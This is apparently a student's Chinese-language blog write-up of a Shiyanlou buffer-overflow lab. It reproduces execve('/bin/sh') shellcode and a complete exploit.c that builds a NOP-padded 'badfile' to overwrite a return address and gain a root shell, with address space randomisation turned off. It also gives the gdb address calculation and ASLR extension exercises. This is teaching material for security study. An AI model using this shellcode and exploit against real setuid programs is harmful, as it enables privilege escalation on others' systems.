缓冲区溢出漏洞实验--实验楼1210

 

一、写在开头的实验体会

本次实验比较简单,所有流程基本跟着指导来就行了,试验过程中遇到一些麻烦的小问题。

1.对vim剪切板的使用不熟悉(最开始只会y和p指令完成在一个界面的复制黏贴),导致实验过程中全程手打,耗费了大量时间。

2.最开始攻击时出现Segmentation fault,指出现了段错误提示,来发现是 exploit.c 文件代码在指定预留偏移的位置输错了,更改后才成功。

3.实验楼有时间限制,一定记得不要逗留太多时间,开启两次都在最后一题断连环境,真的搞心态TAT

通过这次实验,我对缓冲区溢出攻击的原理有了更深刻的理解,了解到缓冲区溢出所带来的普遍性的安全问题不可忽视。这也提醒我们在平时学习的过程中就应保持良好的编程习惯,减少潜在风险。

二、准备步骤

由于32位环境更方便观察观察汇编语句,实验楼提供了如下三条指令安装软件包配置环境(系统默认是64位环境)

 为使实验过程中得到准确的内存地址,需要提前关闭地址空间随机化的功能。

 

 二、实验内容

stack.c程序完成读取一个名为“badfile”的文件,并将文件内容装入“buffer”

进行编译并关闭地址空间随机化

我们的目的是攻击刚才的漏洞程序,并通过攻击获得 root 权限。

所采用的shellcode就是当前代码的汇编版本:

 1 char shellcode[] =
 2     "\x31\xc0" //xorl %eax,%eax
 3     "\x50"     //pushl %eax
 4     "\x68""//sh" //pushl $0x68732f2f
 5     "\x68""/bin"     //pushl $0x6e69622f
 6     "\x89\xe3" //movl %esp,%ebx
 7     "\x50"     //pushl %eax
 8     "\x53"     //pushl %ebx
 9     "\x89\xe1" //movl %esp,%ecx
10     "\x99"     //cdq
11     "\xb0\x0b" //movb $0x0b,%al
12     "\xcd\x80" //int $0x80
13     ;

在 /tmp 目录下新建一个 exploit.c 文件,输入如下内容:

 1 char shellcode[] =
 2     "\x31\xc0" //xorl %eax,%eax
 3     "\x50"     //pushl %eax
 4     "\x68""//sh" //pushl $0x68732f2f
 5     "\x68""/bin"     //pushl $0x6e69622f
 6     "\x89\xe3" //movl %esp,%ebx
 7     "\x50"     //pushl %eax
 8     "\x53"     //pushl %ebx
 9     "\x89\xe1" //movl %esp,%ecx
10     "\x99"     //cdq
11     "\xb0\x0b" //movb $0x0b,%al
12     "\xcd\x80" //int $0x80
13     ;
14 
15 void main(int argc, char **argv)
16 {
17     char buffer[517];
18     FILE *badfile;
19 
20     /* Initialize buffer with 0x90 (NOP instruction) */
21     memset(&buffer, 0x90, 517);
22 
23     /* You need to fill the buffer with appropriate contents here */
24     strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  24
25     strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100
26 
27     /* Save the contents to the file "badfile" */
28     badfile = fopen("./badfile", "w");
29     fwrite(buffer, 517, 1, badfile);
30     fclose(badfile);
31 }

 

其中\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。

由 strcpy(buffer+100,shellcode);shellcode 保存在 buffer + 100 的位置。

为获取内存地址,我们进入stack.c调试界面

使用disass main命令

 

 esp 中就是 str 的起始地址,所以我们在地址 0x080484ee 处设置断点。

 

得到结果:

 

 

 根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode的地址为 0xffffcfb0 + 0x64 = 0xffffd014(使用十六进制加法)

 

 

现在修改 exploit.c 文件,将 \x??\x??\x??\x?? 修改为计算的结果 \x14\xd0\xff\xff

然后,编译 exploit.c 程序:

依次运行程序,输入whoaim回车(这里打错是不能backspace删除的

结果显示获得root成功,说明攻击成功。

三、拓展练习

1、通过命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制,重复用 exploit 程序攻击 stack 程序,观察能否攻击成功,能否获得root权限。

 (此时我们无法获得准确内存地址,自然无法攻击成功

如图,没有成功,提示段错误。

2.将/bin/sh重新/bin/bash,观察是否能攻击成功

 

 如图,攻击失败。

 

 

posted @ 2020-10-11 20:01  Amyonelse  阅读(194)  评论(0编辑  收藏  举报